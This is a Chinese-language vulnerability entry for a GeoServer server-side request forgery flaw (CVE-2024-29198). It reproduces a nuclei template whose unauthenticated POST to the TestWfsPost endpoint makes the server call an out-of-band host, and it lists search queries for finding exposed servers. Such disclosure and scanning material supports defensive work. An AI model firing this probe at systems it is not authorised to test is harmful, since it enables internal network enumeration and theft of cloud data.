GeoServer SSRF via Demo TestWfsPost Request Endpoint Vulnerability

漏洞信息

漏洞名称： GeoServer SSRF via Demo TestWfsPost Request Endpoint Vulnerability

漏洞编号：

• CVE： CVE-2024-29198

漏洞类型： 服务端请求伪造

漏洞等级： 高危

漏洞描述： GeoServer是一个开源的地理信息系统（GIS）服务器，允许用户共享和编辑地理空间数据。它广泛应用于企业级服务和Web应用组件中，支持多种地理空间数据格式和标准。此次发现的漏洞存在于GeoServer的Demo TestWfsPost请求端点中，当Proxy Base URL未正确设置时，攻击者可以利用此漏洞进行服务器端请求伪造（SSRF）攻击。漏洞的技术根源在于服务器未能正确验证和限制用户提供的URL请求，导致攻击者可以构造恶意请求，使服务器向内部网络或云环境中的敏感资源发起请求。这种漏洞的利用无需认证，攻击者可以远程发起攻击，可能导致内部网络枚举、敏感数据泄露等严重后果。由于GeoServer的广泛应用，此漏洞对依赖该服务的组织构成了较高的安全风险。

产品厂商： osgeo

产品名称： geoserver

搜索语法： app=”geoserver” OR title=”geoserver” OR intitle:”geoserver”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/d2ae73c656ca06347c235d7af0fd43122aa74b02/http%2Fcves%2F2024%2FCVE-2024-29198.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2024-29198

info:
  name: SSRF via Demo TestWfsPost Request Endpoint (Proxy Base URL Not Set)
  author: iamnoooob,pdresearch
  severity: high
  description: |
    It is possible to achieve Server Side Request Forgery (SSRF) via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to sensitive data.
  impact: |
    An attacker can exploit this vulnerability to access internal resources, enumerate internal networks, and potentially access sensitive data in cloud environments through the server-side request forgery attack.
  remediation: |
    Upgrade to a patched version of GeoServer or configure the Proxy Base URL properly to prevent unauthorized server-side requests through the TestWfsPost endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29198
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-5gw5-jccf-6hxw
    - https://osgeo-org.atlassian.net/browse/GEOS-11390
    - https://osgeo-org.atlassian.net/browse/GEOS-11794
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-29198
    cwe-id: CWE-918
    epss-score: 0.00039
    epss-percentile: 0.11129
  metadata:
    verified: true
    max-request: 1
    vendor: osgeo
    product: geoserver
    shodan-query:
      - http.title:"geoserver"
      - server:"geohttpserver"
    fofa-query:
      - app="geoserver"
      - title="geoserver"
    google-query: intitle:"geoserver"
  tags: cve,cve2024,ssrf,geoserver,oos,unauth,oast

variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /geoserver/TestWfsPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        url=http://{{interactsh-url}}/?body={{string}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'http')
          - contains(body, '{{string}}')
          - contains(content_type, 'text/plain')
          - status_code == 200
        condition: and